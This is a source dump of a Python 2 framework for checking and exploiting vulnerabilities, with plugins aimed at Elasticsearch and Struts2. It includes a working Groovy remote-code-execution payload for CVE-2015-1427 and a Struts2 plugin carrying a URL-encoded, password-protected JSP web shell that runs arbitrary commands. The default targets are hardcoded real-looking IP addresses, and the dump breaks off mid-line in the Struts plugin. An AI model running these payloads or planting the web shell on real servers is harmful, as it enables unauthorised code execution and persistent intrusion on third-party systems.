├── .gitignore ├── LICENSE ├── README.md ├── __init__.py ├── lib ├── __init__.py ├── logger.py ├── parser.py ├── robots.py └── sitemap.py ├── plugins ├── __init__.py ├── callbackresult.py ├── component │ ├── __init__.py │ ├── elasticsearch │ │ ├── __init__.py │ │ ├── elasticsearch_groovy.py │ │ ├── elasticsearch_nodestate.py │ │ └── t.py │ ├── struts │ │ ├── __init__.py │ │ ├── struts2032.py │ │ └── t.py │ ├── t.py │ └── test │ │ └── __init__.py └── default.py └── pocdect.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib64/ 19 | middileware/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | 55 | # Sphinx documentation 56 | docs/_build/ 57 | 58 | # PyBuilder 59 | target/ 60 | 61 | #Ipython Notebook 62 | .ipynb_checkpoints 63 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # normal_hark_lite 2 | 3 | 4 | [![Build Status](http://nanshihui.github.io/public/status.svg)](http://nanshihui.github.io/2016/01/21/ToolForSpider%E7%AE%80%E4%BB%8B/) [![Python 2.6|2.7](http://nanshihui.github.io/public/python.svg)](https://www.python.org/) [![License](http://nanshihui.github.io/public/license.svg)](http://nanshihui.github.io/2016/01/21/ToolForSpider%E7%AE%80%E4%BB%8B/) 5 | 6 | 通用的POC检测框架,有足够的POC,就可以找出相应的漏洞。 7 | a farmework to test poc,based on search engine can get the valid infomation to test the vulnerability 8 | 9 | ##plugins文件夹说明 10 | * 存放POC的位置 11 | * 命名规则:component文件夹作为分类,针对具体的漏洞要独立建立一个文件夹,并在里面添加POC,里面已经有参考的模板了,使用的时候要继承T这个类,并实现相关函数 12 | 13 | ##使用方法 14 | python __init__.py ip keywords 15 | ##截图 16 | ![Screenshot](http://nanshihui.github.io/public/normal_hack_lite.png) 17 | * PS:if want to help with me to complete this project ...please fork it ^_^ 18 | * 如果想用整合一起的可以参考该项目:[toolforspider](https://github.com/nanshihui/toolforspider) -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | from plugins import default 2 | import sys 3 | 4 | 5 | 6 | from lib.logger import initLog 7 | if __name__ == '__main__': 8 | logger = initLog('WebDect.log', 2, True) 9 | a=default.PocController(logger=logger) 10 | ip='42.120.7.130' 11 | keywords='elasticsearch' 12 | ip=str(sys.argv[1]) 13 | keywords=str(sys.argv[2]) 14 | 15 | a.detect(head='',context='',ip=ip,port='',productname='',keywords=keywords,hackinfo='',defaultpoc='') 16 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nanshihui/normal_hark_lite/afc32843c82c29569abe533607e8dfa4ae1b9fa0/lib/__init__.py -------------------------------------------------------------------------------- /lib/logger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # encoding=utf-8 3 | 4 | 5 | import logging 6 | 7 | def initLog(logfile, level=2, verbose=False): 8 | 9 | logLevel = logging.INFO 10 | if level == 0: 11 | logLevel = logging.NOTSET 12 | elif level == 1: 13 | logLevel = logging.DEBUG 14 | elif level == 2: 15 | logLevel = logging.INFO 16 | elif level == 3: 17 | logLevel = logging.WARNING 18 | elif level == 4: 19 | logLevel = logging.ERROR 20 | elif level == 5: 21 | logLevel = logging.CRITICAL 22 | logger = logging.getLogger() 23 | console = logging.FileHandler(logfile) 24 | formatter = logging.Formatter('[%(asctime)s]%(filename)s-%(process)d-%(thread)d-%(lineno)d-%(levelname)8s-"%(message)s"','%Y-%m-%d %a %H:%M:%S') 25 | console.setFormatter(formatter) 26 | logger.addHandler(console) 27 | logger.setLevel(logLevel) 28 | 29 | if verbose: 30 | console = logging.StreamHandler() 31 | console.setLevel(logLevel) 32 | formatter = logging.Formatter('%(name)-8s: %(levelname)-8s %(message)s') 33 | console.setFormatter(formatter) 34 | logger.addHandler(console) 35 | 36 | return logger 37 | 38 | if __name__ == '__main__': 39 | logger = initLog("logger_test.log", 3, True) 40 | logger.debug("debug %s", "1") 41 | logger.info("info %s", "2") 42 | logger.warning("warning %s", "3") 43 | logger.error("error %s", "4") 44 | logger.exception("exception %s", "4") 45 | logger.critical("critical %s", "5") 46 | 47 | -------------------------------------------------------------------------------- /lib/parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | from lxml import etree 6 | from urlparse import urljoin 7 | 8 | class HTMLParser(object): 9 | def __init__(self): 10 | self.parser = etree.HTMLParser() 11 | 12 | def parse(self, html): 13 | return etree.fromstring(html, self.parser) 14 | 15 | def findall(self, root, name='*', attrs={}): 16 | if not name: 17 | name = '*' 18 | if attrs: 19 | attr_path = '[' + '|'.join(['@' + key for key in attrs]) + ']' 20 | else: 21 | attr_path = '' 22 | path = './/%s%s' % (name, attr_path) 23 | ret = [] 24 | elements = root.xpath(path) 25 | for element in elements: 26 | if not attrs: 27 | ret.append(element) 28 | continue 29 | for key, value in attrs.items(): 30 | attr = element.attrib.get(key) 31 | if not attr: 32 | continue 33 | if hasattr(value, 'match') and value.search(attr): 34 | ret.append(element) 35 | elif value == True: 36 | ret.append(element) 37 | return ret 38 | 39 | def get_links(self, url, root): 40 | urls = set() 41 | for elem in self.findall(root, 'a', {'href': True}): 42 | path = elem.attrib['href'].strip() 43 | if path.startswith(('#', 'javascript:', 'mailto:')): 44 | continue 45 | urls.add(urljoin(url, path)) 46 | return urls 47 | -------------------------------------------------------------------------------- /lib/robots.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | from urlparse import urljoin 6 | 7 | class Robots(object): 8 | def __init__(self, func): 9 | self.request = func 10 | self.urls = set() 11 | self.sitemaps = set() 12 | 13 | def parse(self, url, data): 14 | for line in data.split('\n'): 15 | line = line.strip() 16 | if line.startswith(('Allow:', 'Disallow')): 17 | if '*' in line: 18 | continue 19 | self.urls.add(urljoin(url, line.split(':', 1)[1].strip())) 20 | elif line.startswith('Sitemap:'): 21 | self.sitemaps.add(line.split(':', 1)[1]) 22 | return self.urls, self.sitemaps 23 | 24 | def entry(self, url): 25 | resp = self.request(url) 26 | if resp == None: 27 | return [], [] 28 | return self.parse(url, resp.text) 29 | 30 | -------------------------------------------------------------------------------- /lib/sitemap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | from xml.dom.minidom import parseString 6 | from urlparse import urljoin 7 | 8 | class Sitemap(object): 9 | def __init__(self, func): 10 | self.request = func 11 | self.urls = set() 12 | self.sitemaps = set() 13 | 14 | def parse(self, url, text): 15 | try: 16 | dom = parseString(text) 17 | except: 18 | return 19 | for sitemap in dom.getElementsByTagName('sitemap'): 20 | locs = sitemap.getElementsByTagName('loc') 21 | if locs: 22 | try: 23 | sitemap = locs[0].firstChild.data 24 | self.sitemaps.add(sitemap) 25 | except: 26 | pass 27 | for _url in dom.getElementsByTagName('url'): 28 | locs = _url.getElementsByTagName('loc') 29 | if locs: 30 | try: 31 | _url = urljoin(url, locs[0].firstChild.data) 32 | self.urls.add(_url) 33 | except: 34 | pass 35 | 36 | def entry(self, url): 37 | resp = self.request(url) 38 | if resp == None: 39 | return [] 40 | 41 | self.parse(url, resp.text) 42 | if resp.headers['content-type'] == 'text/plain': 43 | for url in resp.text.split('\n'): 44 | self.urls.add(url.strip()) 45 | return self.urls 46 | elif 'xml' in resp.headers['content-type']: 47 | if not self.sitemaps: 48 | return self.urls 49 | while len(self.sitemaps): 50 | url = self.sitemaps.pop() 51 | resp = self.request(url) 52 | self.parse(url, resp.text) 53 | return self.urls 54 | 55 | -------------------------------------------------------------------------------- /plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nanshihui/normal_hark_lite/afc32843c82c29569abe533607e8dfa4ae1b9fa0/plugins/__init__.py -------------------------------------------------------------------------------- /plugins/callbackresult.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | # from spidertool import Sqldatatask,Sqldata,SQLTool 4 | # import spidertool.config as config 5 | 6 | import time 7 | # islocalwork=config.Config.islocalwork 8 | def storedata(ip='',port='',hackinfo=None): 9 | print '----------------------------------------' 10 | print '发现漏洞' 11 | print '位置:'+hackinfo['VerifyInfo']['URL'] 12 | print '类型:'+hackinfo['VerifyInfo']['type'] 13 | print 'payload:'+hackinfo['VerifyInfo']['payload'] 14 | 15 | return True 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /plugins/component/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nanshihui/normal_hark_lite/afc32843c82c29569abe533607e8dfa4ae1b9fa0/plugins/component/__init__.py -------------------------------------------------------------------------------- /plugins/component/elasticsearch/__init__.py: -------------------------------------------------------------------------------- 1 | KEYWORDS = ['elasticsearch', ] 2 | def rules(head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 3 | return False -------------------------------------------------------------------------------- /plugins/component/elasticsearch/elasticsearch_groovy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | from t import T 4 | import requests,urllib2,json,urlparse 5 | class P(T): 6 | def __init__(self): 7 | T.__init__(self) 8 | vulID = '1708' # vul ID 9 | version = '1' 10 | 11 | vulDate = '2015-03-04' 12 | createDate = '2015-03-04' 13 | updateDate = '2015-03-04' 14 | references = ['http://bobao.360.cn/learning/detail/275.html'] 15 | name = 'elasticsearch v1.43 _search 命令执行漏洞 POC' 16 | appPowerLink = 'http://www.elasticsearch.org' 17 | appName = 'elasticsearch' 18 | appVersion = 'v1.43' 19 | vulType = 'Command Execution' 20 | desc = ''' 21 | 脚本查询模块,由于搜索引擎支持使用脚本代码作为表达式进行数据操作,攻击 22 | 者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且 23 | 加入了沙盒进行控制,由于沙盒限制的不严格,导致远程代码执行 24 | ''' 25 | def CVE20151427(self,url): 26 | req=None 27 | try: 28 | target_url = "http://"+url+":9200/_search" 29 | payload = '{"size": 1,"script_fields": {"secpulse": {"script":' \ 30 | ' "java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"COMMAND\\\")","lang": "groovy"}}}' 31 | req = urllib2.urlopen(target_url,data=payload,timeout=2) 32 | content = req.read() 33 | except Exception,e: 34 | content = e 35 | finally: 36 | 37 | if req: 38 | req.close() 39 | return content 40 | 41 | def verify(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 42 | 43 | result = {} 44 | content_2 = self.CVE20151427(ip) 45 | 46 | result['result']=False 47 | if 'Cannot run program \\\\\\\"COMMAND\\\\\\\"' in content_2: 48 | 49 | result['result']=True 50 | result['VerifyInfo'] = {} 51 | result['VerifyInfo']['type']='Command Execution' 52 | result['VerifyInfo']['URL'] =ip+":9200/_search" 53 | result['VerifyInfo']['payload'] = '{"size": 1,"script_fields": {"secpulse": {"script":' \ 54 | ' "java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"COMMAND\\\")","lang": "groovy"}}}' 55 | 56 | return result 57 | if __name__ == '__main__': 58 | 59 | print P().verify(ip='42.120.7.130',port='9200') 60 | 61 | -------------------------------------------------------------------------------- /plugins/component/elasticsearch/elasticsearch_nodestate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | from t import T 4 | 5 | import requests,urllib2,json,urlparse 6 | class P(T): 7 | def __init__(self): 8 | T.__init__(self) 9 | def verify(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 10 | target_url = "http://"+ip+":9200/_nodes/stats" 11 | result = {} 12 | result['result']=False 13 | r=None 14 | try: 15 | r=requests.get(url=target_url,timeout=2) 16 | if r.status_code==200: 17 | result['result']=True 18 | result['VerifyInfo'] = {} 19 | result['VerifyInfo']['type']='information unclosed' 20 | result['VerifyInfo']['URL'] =ip+":9200/_nodes/stats" 21 | result['VerifyInfo']['payload']='IP:9200/_nodes/stats' 22 | result['VerifyInfo']['result'] =r.text 23 | else: 24 | pass 25 | except Exception,e: 26 | print e.text 27 | finally: 28 | if r is not None: 29 | r.close() 30 | return result 31 | if __name__ == '__main__': 32 | print P().verify(ip='42.120.7.120',port='9200') 33 | -------------------------------------------------------------------------------- /plugins/component/elasticsearch/t.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | class T(object): 6 | def __init__(self): 7 | 8 | self.result = { 9 | 'type': None, 10 | 'version': None, 11 | } 12 | self.keywords = [] 13 | self.versions = [] 14 | def match_rule(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo='', **kw): 15 | ## 16 | #head 返回的请求头 17 | #context 返回请求正文html代码 18 | #ip 请求ip 19 | #port 请求端口 20 | #productname 请求的组件产品 21 | #keywords 暂时已知的关键词组件 22 | #hackinfo 备用字段 23 | 24 | 25 | 26 | 27 | return True 28 | 29 | def verify(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 30 | result = {} 31 | result['result']=False 32 | return result 33 | def attack(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 34 | result = {} 35 | result['result']=False 36 | return result 37 | def parse_output(self, result): 38 | result = {} 39 | result['result']=False 40 | return result -------------------------------------------------------------------------------- /plugins/component/struts/__init__.py: -------------------------------------------------------------------------------- 1 | import requests 2 | KEYWORDS = ['struts', ] 3 | def rules(head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 4 | if 'struts2' in context or '.action' in context: 5 | return True 6 | else: 7 | 8 | return False 9 | 10 | 11 | -------------------------------------------------------------------------------- /plugins/component/struts/struts2032.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | from ..t import T 4 | import random,urllib2 5 | class P(T): 6 | def __init__(self): 7 | T.__init__(self) 8 | keywords=['struts'] 9 | def verify(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 10 | target_url = 'http://'+ip+':'+port+'/index.action' 11 | result = {} 12 | timeout=3 13 | result['result']=False 14 | res=None 15 | jsp_file = str(random.randint(1000, 1000000)) + '.jsp' 16 | content = 'gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.' \ 17 | 'getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%2' \ 18 | '0%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%' \ 19 | '29.exec%28request.getParameter%28%22l%22%29%29.getInputStre' \ 20 | 'am%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B' \ 21 | '%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byt' \ 22 | 'e%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3C' \ 23 | 'pre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din' \ 24 | '.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20' \ 25 | '%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%2' \ 26 | '0%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%' \ 27 | '22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E' 28 | 29 | poc_url = 